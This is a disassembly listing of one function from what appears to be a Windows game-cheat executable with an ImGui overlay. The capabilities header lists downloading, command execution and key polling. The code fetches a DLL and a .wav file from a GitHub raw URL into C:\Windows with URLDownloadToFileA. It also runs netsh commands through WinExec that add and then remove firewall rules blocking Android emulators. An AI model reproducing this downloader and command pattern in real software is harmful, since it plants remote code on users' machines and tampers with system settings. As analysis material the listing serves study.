Function at 0x1400591d0
Capabilities:
Create process on windows
Create thread
Download url
Execute command
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0xab8]
sub rsp, 0xbb8
movaps xmm0, xmmword [str.https:__github.com_edsonpepe_dll_raw_main_1266365991831470162.wav]
lea r8, [rbp + 0x2d0]
movaps xmm1, xmmword [0x14016c890]
lea rdx, [rbp + 0x300]
movzx eax, word [0x14016c8c0]
xor r15d, r15d
movaps xmmword [rbp + 0x300], xmm0
xor r9d, r9d
movaps xmm0, xmmword [0x14016c8a0]
xor ecx, ecx
movaps xmmword [rbp + 0x310], xmm1
movaps xmm1, xmmword [0x14016c8b0]
mov word [rbp + 0x340], ax
movzx eax, word [0x14016ad70]
movaps xmmword [rbp + 0x320], xmm0
movups xmm0, xmmword [str.C:Windows1266365991831470162.wav]
mov word [rbp + 0x2f0], ax
movzx eax, byte [0x14016ad72]
movaps xmmword [rbp + 0x330], xmm1
movups xmm1, xmmword [0x14016ad60]
mov byte [rbp + 0x2f2], al
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rsp + 0x20], r15
movups xmmword [rbp + 0x2e0], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x14016c900]
lea r8, [rbp + 0x430]
movups xmm0, xmmword [str.https:__github.com_edsonpepe_dll_raw_main_CHENCHIHAXCHAMS.dll]
mov dword [rbp + 0x338], eax
xor r9d, r9d
movups xmm1, xmmword [0x14016c8d8]
movzx eax, word [0x14016c904]
lea rdx, [rbp + 0x300]
mov word [rbp + 0x33c], ax
xor ecx, ecx
mov eax, dword [0x14016c878]
movups xmmword [rbp + 0x300], xmm0
mov dword [rbp + 0x448], eax
movups xmm0, xmmword [0x14016c8e8]
movzx eax, word [0x14016c87c]
movups xmmword [rbp + 0x310], xmm1
mov word [rbp + 0x44c], ax
movsd xmm1, qword [0x14016c8f8]
movzx eax, byte [0x14016c87e]
movups xmmword [rbp + 0x320], xmm0
mov byte [rbp + 0x44e], al
movups xmm0, xmmword [str.C:WindowsCHENCHIHAXCHAMS.dll]
mov qword [rsp + 0x20], r15
movsd qword [rbp + 0x330], xmm1
movsd xmm1, qword [0x14016c870]
movups xmmword [rbp + 0x430], xmm0
movsd qword [rbp + 0x440], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.140054940
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140053e60]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140053fa0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x1400530f0]
lea rcx, [rbp + 0x2b8]
call fcn.14005eb90
mov rcx, rax
call fcn.140052f30
cmp dword [rbp + 0x2c0], r15d
je 0x1400593a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.140053150
lea rcx, [0x140392270]
call fcn.1400d47b0
cmp dword [0x140370e30], r15d
jne 0x1400593ce
call fcn.140060060
call fcn.14005ffc0
mov dword [0x140370e30], eax
call fcn.140060060
mov edx, dword [0x140370e30]
mov rcx, rax
call fcn.14005ff00
lea rcx, [0x140392270]
call fcn.1400d47b0
cmp byte [0x140392488], r15b
jne 0x140059427
lea rcx, [0x140392490]
call fcn.140044d90
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0xbd0], rbx
lea rax, [0x14005ddd0]
mov qword [rsp + 0xbe0], rdi
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0xbb0], r12
mov qword [rbp + 0x488], rax
mov dword [rbp + 0x480], 0x50
mov dword [rbp + 0x484], 0x40
mov qword [rbp + 0x490], r15
mov qword [rbp + 0x498], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x4a0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdi, [0x14016c918]
mov qword [rbp + 0x4b0], r15
mov qword [rbp + 0x4a8], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x4c0], rdi
xor ecx, ecx
mov qword [rbp + 0x4b8], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x480]
mov qword [rbp + 0x4c8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x122]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r15
mov r9d, 0x80000000
mov qword [rsp + 0x50], r15
cdq
mov qword [rsp + 0x48], r15
sub eax, edx
mov rdx, qword [rbp + 0x4c0]
mov r8, rdi
mov qword [rsp + 0x40], r15
xor ecx, ecx
mov dword [rsp + 0x38], 0x244
sar eax, 1
sub eax, 0x1f4
mov dword [rsp + 0x30], 0x3e8
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x14016de70]
lea rdx, [rbp + 0x758]
mov rcx, rax
mov qword [0x140370e10], rax
movdqu xmmword [rbp + 0x758], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140370e10]
lea rdx, [0x140370e20]
xorps xmm0, xmm0
movups xmmword [0x140370e20], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
call fcn.14005dbc0
test al, al
jne 0x1400595ba
call fcn.14005dd50
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x4c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x14005db26
mov rcx, qword [0x140370e10]
mov edx, 0xa
mov qword [rsp + 0xba0], r14
movaps xmmword [rsp + 0xb90], xmm6
movaps xmmword [rsp + 0xb80], xmm7
movaps xmmword [rsp + 0xb70], xmm8
movaps xmmword [rsp + 0xb60], xmm9
movaps xmmword [rsp + 0xb50], xmm10
movaps xmmword [rsp + 0xb40], xmm11
movaps xmmword [rsp + 0xb30], xmm12
movaps xmmword [rsp + 0xb20], xmm13
movaps xmmword [rsp + 0xb10], xmm14
movaps xmmword [rsp + 0xb00], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140370e10]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.140006800
call fcn.140008900
lea rcx, [rbp + 0x3a0]
mov rbx, rax
or dword [rax], 3
call fcn.1400299f0
movss xmm15, dword [0x14016dd40]
lea rax, [rbp + 0x3a0]
mov rcx, qword [rbx + 0x50]
lea rdi, [0x1401660c0]
mov qword [rsp + 0x28], rdi
lea rdx, [0x1402e25d0]
movaps xmm3, xmm15
mov qword [rsp + 0x20], rax
mov r8d, 0x26368
mov dword [rbp + 0x3ec], 0x10c
call fcn.14002a560
movss xmm3, dword [0x14016dd38]
lea rdx, [0x1402e25d0]
mov rcx, qword [rbx + 0x50]
mov r8d, 0x26368
mov qword [0x140370df0], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14002a560
movss xmm3, dword [0x14016dd58]
lea rdx, [0x1401fd5a0]
mov rcx, qword [rbx + 0x50]
mov r8d, 0xf40
mov qword [0x140370e70], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14002a560
mov rcx, qword [rbx + 0x50]
lea rdx, [0x1401d7c40]
mov qword [0x140370e78], rax
movaps xmm3, xmm15
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x28], rdi
mov r8d, 0x25958
mov qword [rsp + 0x20], rax
call fcn.14002a560
movss xmm3, dword [0x14016dd60]
lea rdx, [0x1401d7c40]
mov rcx, qword [rbx + 0x50]
mov r8d, 0x25958
mov qword [0x140370e68], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14002a560
movss xmm3, dword [0x14016dd4c]
lea rdx, [0x1401fe4e0]
mov rcx, qword [rbx + 0x50]
mov r8d, 0x954
mov qword [0x140370df8], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14002a560
mov rcx, qword [rbx + 0x50]
lea rdx, [0x140319a20]
mov qword [0x140370e60], rax
movaps xmm3, xmm15
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x28], rdi
mov r8d, 0x4d2c4
mov qword [rsp + 0x20], rax
call fcn.14002a560
movss xmm7, dword [0x14016dd6c]
lea rdx, [0x1401fee40]
mov rcx, qword [rbx + 0x50]
movaps xmm3, xmm7
mov qword [rsp + 0x28], rdi
mov r8d, 0x20fe0
mov qword [0x140370e00], rax
mov qword [rsp + 0x20], r15
call fcn.14002a560
cmp qword [0x140370ef0], r15
mov qword [rbp + 0x350], rax
jne 0x140059867
mov rcx, qword [0x140370e40]
lea rax, [0x140370ef0]
mov qword [rsp + 0x30], r15
lea r9, [0x14036fb68]
mov qword [rsp + 0x28], rax
lea rdx, [0x140366cf0]
mov qword [rsp + 0x20], rcx
mov r8d, 0x79a6
mov rcx, qword [0x1403a6d58]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140370ee0], r15
jne 0x1400598ae
mov rcx, qword [0x1403a6d58]
lea rax, [0x140370ee0]
mov qword [rsp + 0x30], r15
lea r9, [0x14036fb68]
mov qword [rsp + 0x28], rax
lea rdx, [0x140308940]
mov rax, qword [0x140370e40]
mov r8d, 0x10ea4
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140370ed8], r15
jne 0x1400598f5
mov rcx, qword [0x1403a6d58]
lea rax, [0x140370ed8]
mov qword [rsp + 0x30], r15
lea r9, [0x14036fb68]
mov qword [rsp + 0x28], rax
lea rdx, [0x140220ce0]
mov rax, qword [0x140370e40]
mov r8d, 0xc18eb
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140370f08], r15
jne 0x14005993c
mov rcx, qword [0x1403a6d58]
lea rax, [0x140370f08]
mov qword [rsp + 0x30], r15
lea r9, [0x14036fb68]
mov qword [rsp + 0x28], rax
lea rdx, [0x14021fe20]
mov rax, qword [0x140370e40]
mov r8d, 0xeb6
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140370ef8], r15
jne 0x140059983
mov rcx, qword [0x1403a6d58]
lea rax, [0x140370ef8]
mov qword [rsp + 0x30], r15
lea r9, [0x14036fb68]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401860d0]
mov rax, qword [0x140370e40]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140370ee8], r15
jne 0x1400599ca
mov rcx, qword [0x1403a6d58]
lea rax, [0x140370ee8]
mov qword [rsp + 0x30], r15
lea r9, [0x14036fb68]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403197f0]
mov rax, qword [0x140370e40]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140370f00], r15
jne 0x140059a11
mov rcx, qword [0x1403a6d58]
lea rax, [0x140370f00]
mov qword [rsp + 0x30], r15
lea r9, [0x14036fb68]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401861b0]
mov rax, qword [0x140370e40]
mov r8d, 0x51a88
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
call fcn.140047a90
call fcn.1400475a0
movss xmm14, dword [0x14016de38]
xor bl, bl
movss xmm8, dword [0x14016dbec]
xorps xmm13, xmm13
movss xmm10, dword [0x14016dc78]
movss xmm11, dword [0x14016dc28]
movss xmm12, dword [0x14016dcbc]
movss xmm9, dword [0x14016dd88]
mov qword [rsp + 0xbd8], rsi
mov dword [rbp - 0x70], ebx
mov qword [rsp + 0xba8], r13
movss xmm6, dword [0x14016dd30]
lea rcx, [rbp + 0x910]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor edx, edx
movabs r14, 0x7fffffffffff
mov edi, 0x8000
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140059af1
nop
lea rcx, [rbp + 0x910]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x910]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x918], 0x12
lea rcx, [rbp + 0x910]
movzx ebx, bl
cmove ebx, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140059aa0
mov dword [rbp - 0x70], ebx
test bl, bl
jne 0x14005da7f
mov ecx, 0x7b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test di, ax
je 0x140059b29
lea rdx, [0x140058fe0]
lea rcx, [rbp + 0x768]
call fcn.14005eb90
mov rcx, rax
call fcn.140052f30
cmp dword [rbp + 0x770], 0
jne 0x14005db49
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x14005db81
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test di, ax
je 0x140059b5c
call fcn.1400587d0
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x140370de8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140059cdf
lea rdx, str.FixLag_TIMER_Activado_
lea rcx, [0x14036fae8]
call fcn.140044da0
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
movss xmm0, dword [0x140370e90]
mulss xmm0, dword [0x14016ddfc]
cvttss2si rcx, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.FixLag_TIMER_Removed_
lea rcx, [0x14036fae8]
call fcn.140044da0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x140370ed4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140059d17
lea rdx, [0x140058d80]
lea rcx, [rbp + 0x778]
call fcn.14005eb90
mov rcx, rax
call fcn.140052f30
cmp dword [rbp + 0x780], 0
jne 0x14005db50
mov ecx, dword [0x140370de4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140059da0
lea rdx, [0x14016c560]
lea rcx, [rbp + 0x2d0]
call fcn.140044e20
lea rdx, [0x14015aada]
mov rsi, rax
lea rcx, [rbp + 0x3a0]
call fcn.140044e20
lea rdx, [0x14015aada]
mov rdi, rax
lea rcx, [rbp + 0x378]
call fcn.140044e20
lea rdx, [0x14016c560]
mov rbx, rax
lea rcx, [rbp + 0x450]
call fcn.140044e20
mov qword [rsp + 0x30], rsi
lea rcx, [0x14036fa90]
mov qword [rsp + 0x28], rdi
mov r9, r14
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, rax
call fcn.140057540
mov ecx, dword [0x140370e38]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, Ordinal_50
call fcn.140058df0
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.140058df0
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.140058df0
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.140058df0
mov ecx, WSAStartup
mov byte [rsp + 0x62], al
call fcn.140058df0
mov ecx, WSAStartup
mov byte [rsp + 0x63], al
call fcn.140058df0
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x64], al
call fcn.140058df0
mov ecx, 0x51
mov byte [rsp + 0x65], al
call fcn.140058df0
mov ecx, 0x45
mov byte [rsp + 0x66], al
call fcn.140058df0
mov ecx, dword [0x140370e88]
movzx r9d, byte [0x140370e8c]
movzx r10d, byte [0x140370e5c]
movzx r11d, byte [0x140370ded]
movzx ebx, byte [0x140370ec6]
movzx edi, byte [0x140370e1d]
movzx esi, byte [0x140370dcb]
movzx r14d, byte [0x140370e8e]
movzx r15d, byte [0x140370ec4]
movzx r12d, byte [0x140370def]
mov byte [rsp + 0x67], al
cmp ecx, 1
jne 0x140059eaf
test r13b, r13b
je 0x14005a065
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r9b, r9b
jne 0x14005a075
cmp byte [0x140370e50], r9b
sete byte [0x140370e50]
jmp 0x14005a075
cmp ecx, 2
jne 0x140059ee8
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14005a06a
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r10b, r10b
jne 0x14005a075
cmp byte [0x140370e50], r10b
sete byte [0x140370e50]
jmp 0x14005a075
cmp ecx, 3
jne 0x140059f21
movzx ecx, byte [rsp + 0x61]
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
test cl, cl
je 0x14005a075
test r11b, r11b
jne 0x14005a075
cmp byte [0x140370e50], r11b
sete byte [0x140370e50]
jmp 0x14005a075
cmp ecx, 4
jne 0x140059f59
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x60]
test r8b, r8b
je 0x14005a070
movzx ecx, byte [rsp + 0x61]
test bl, bl
jne 0x14005a075
cmp byte [0x140370e50], bl
sete byte [0x140370e50]
jmp 0x14005a075
cmp ecx, 5
jne 0x140059f95
cmp byte [rsp + 0x63], 0
je 0x14005a065
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test dil, dil
jne 0x14005a075
cmp byte [0x140370e50], dil
sete byte [0x140370e50]
jmp 0x14005a075
cmp ecx, 6
jne 0x140059fd1
cmp byte [rsp + 0x64], 0
je 0x14005a065
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test sil, sil
jne 0x14005a075
cmp byte [0x140370e50], sil
sete byte [0x140370e50]
jmp 0x14005a075
cmp ecx, 7
jne 0x14005a006
cmp byte [rsp + 0x65], 0
je 0x14005a065
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r14b, r14b
jne 0x14005a075
cmp byte [0x140370e50], r14b
sete byte [0x140370e50]
jmp 0x14005a075
cmp ecx, 8
jne 0x14005a037
cmp byte [rsp + 0x66], 0
je 0x14005a065
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r15b, r15b
jne 0x14005a075
cmp byte [0x140370e50], r15b
sete byte [0x140370e50]
jmp 0x14005a075
cmp ecx, 9
jne 0x14005a065
test al, al
je 0x14005a065
movzx edx, byte [rsp + 0x60]
movzx ecx, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
test r12b, r12b
jne 0x14005a075
cmp byte [0x140370e50], r12b
sete byte [0x140370e50]
jmp 0x14005a075
movzx edx, byte [rsp + 0x60]
movzx r8d, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x61]
mov eax, dword [0x1403a6d40]
cmp eax, 1
jne 0x14005a091
test r13b, r13b
je 0x14005a122
test r9b, r9b
jmp 0x14005a112
cmp eax, 2
jne 0x14005a0a3
test dl, dl
je 0x14005a122
test r10b, r10b
jmp 0x14005a112
cmp eax, 3
jne 0x14005a0b1
test cl, cl
je 0x14005a122
test r11b, r11b
jmp 0x14005a112
cmp eax, 4
jne 0x14005a0bf
test r8b, r8b
je 0x14005a122
test bl, bl
jmp 0x14005a112
cmp eax, 5
jne 0x14005a0d0
cmp byte [rsp + 0x63], 0
je 0x14005a122
test dil, dil
jmp 0x14005a112
cmp eax, 6
jne 0x14005a0e1
cmp byte [rsp + 0x64], 0
je 0x14005a122
test sil, sil
jmp 0x14005a112
cmp eax, 7
jne 0x14005a0f2
cmp byte [rsp + 0x65], 0
je 0x14005a122
test r14b, r14b
jmp 0x14005a112
cmp eax, 8
jne 0x14005a103
cmp byte [rsp + 0x66], 0
je 0x14005a122
test r15b, r15b
jmp 0x14005a112
cmp eax, 9
jne 0x14005a122
cmp byte [rsp + 0x67], 0
je 0x14005a122
test r12b, r12b
jne 0x14005a122
cmp byte [0x140370e53], 0
sete byte [0x140370e53]
mov eax, dword [0x140370ed0]
cmp eax, 1
jne 0x14005a13e
test r13b, r13b
je 0x14005a1cf
test r9b, r9b
jmp 0x14005a1bf
cmp eax, 2
jne 0x14005a150
test dl, dl
je 0x14005a1cf
test r10b, r10b
jmp 0x14005a1bf
cmp eax, 3
jne 0x14005a15e
test cl, cl
je 0x14005a1cf
test r11b, r11b
jmp 0x14005a1bf
cmp eax, 4
jne 0x14005a16c
test r8b, r8b
je 0x14005a1cf
test bl, bl
jmp 0x14005a1bf
cmp eax, 5
jne 0x14005a17d
cmp byte [rsp + 0x63], 0
je 0x14005a1cf
test dil, dil
jmp 0x14005a1bf
cmp eax, 6
jne 0x14005a18e
cmp byte [rsp + 0x64], 0
je 0x14005a1cf
test sil, sil
jmp 0x14005a1bf
cmp eax, 7
jne 0x14005a19f
cmp byte [rsp + 0x65], 0
je 0x14005a1cf
test r14b, r14b
jmp 0x14005a1bf
cmp eax, 8
jne 0x14005a1b0
cmp byte [rsp + 0x66], 0
je 0x14005a1cf
test r15b, r15b
jmp 0x14005a1bf
cmp eax, 9
jne 0x14005a1cf
cmp byte [rsp + 0x67], 0
je 0x14005a1cf
test r12b, r12b
jne 0x14005a1cf
cmp byte [0x140370e4d], 0
sete byte [0x140370e4d]
mov eax, dword [0x140370e80]
cmp eax, 1
jne 0x14005a1eb
test r13b, r13b
je 0x14005a27c
test r9b, r9b
jmp 0x14005a26c
cmp eax, 2
jne 0x14005a1fd
test dl, dl
je 0x14005a27c
test r10b, r10b
jmp 0x14005a26c
cmp eax, 3
jne 0x14005a20b
test cl, cl
je 0x14005a27c
test r11b, r11b
jmp 0x14005a26c
cmp eax, 4
jne 0x14005a219
test r8b, r8b
je 0x14005a27c
test bl, bl
jmp 0x14005a26c
cmp eax, 5
jne 0x14005a22a
cmp byte [rsp + 0x63], 0
je 0x14005a27c
test dil, dil
jmp 0x14005a26c
cmp eax, 6
jne 0x14005a23b
cmp byte [rsp + 0x64], 0
je 0x14005a27c
test sil, sil
jmp 0x14005a26c
cmp eax, 7
jne 0x14005a24c
cmp byte [rsp + 0x65], 0
je 0x14005a27c
test r14b, r14b
jmp 0x14005a26c
cmp eax, 8
jne 0x14005a25d
cmp byte [rsp + 0x66], 0
je 0x14005a27c
test r15b, r15b
jmp 0x14005a26c
cmp eax, 9
jne 0x14005a27c
cmp byte [rsp + 0x67], 0
je 0x14005a27c
test r12b, r12b
jne 0x14005a27c
cmp byte [0x140370e51], 0
sete byte [0x140370e51]
mov eax, dword [0x140370e08]
cmp eax, 1
jne 0x14005a298
test r13b, r13b
je 0x14005a329
test r9b, r9b
jmp 0x14005a319
cmp eax, 2
jne 0x14005a2aa
test dl, dl
je 0x14005a329
test r10b, r10b
jmp 0x14005a319
cmp eax, 3
jne 0x14005a2b8
test cl, cl
je 0x14005a329
test r11b, r11b
jmp 0x14005a319
cmp eax, 4
jne 0x14005a2c6
test r8b, r8b
je 0x14005a329
test bl, bl
jmp 0x14005a319
cmp eax, 5
jne 0x14005a2d7
cmp byte [rsp + 0x63], 0
je 0x14005a329
test dil, dil
jmp 0x14005a319
cmp eax, 6
jne 0x14005a2e8
cmp byte [rsp + 0x64], 0
je 0x14005a329
test sil, sil
jmp 0x14005a319
cmp eax, 7
jne 0x14005a2f9
cmp byte [rsp + 0x65], 0
je 0x14005a329
test r14b, r14b
jmp 0x14005a319
cmp eax, 8
jne 0x14005a30a
cmp byte [rsp + 0x66], 0
je 0x14005a329
test r15b, r15b
jmp 0x14005a319
cmp eax, 9
jne 0x14005a329
cmp byte [rsp + 0x67], 0
je 0x14005a329
test r12b, r12b
jne 0x14005a329
cmp byte [0x140370e4f], 0
sete byte [0x140370e4f]
mov eax, dword [0x140370ec8]
cmp eax, 1
jne 0x14005a345
test r13b, r13b
je 0x14005a3d6
test r9b, r9b
jmp 0x14005a3c6
cmp eax, 2
jne 0x14005a357
test dl, dl
je 0x14005a3d6
test r10b, r10b
jmp 0x14005a3c6
cmp eax, 3
jne 0x14005a365
test cl, cl
je 0x14005a3d6
test r11b, r11b
jmp 0x14005a3c6
cmp eax, 4
jne 0x14005a373
test r8b, r8b
je 0x14005a3d6
test bl, bl
jmp 0x14005a3c6
cmp eax, 5
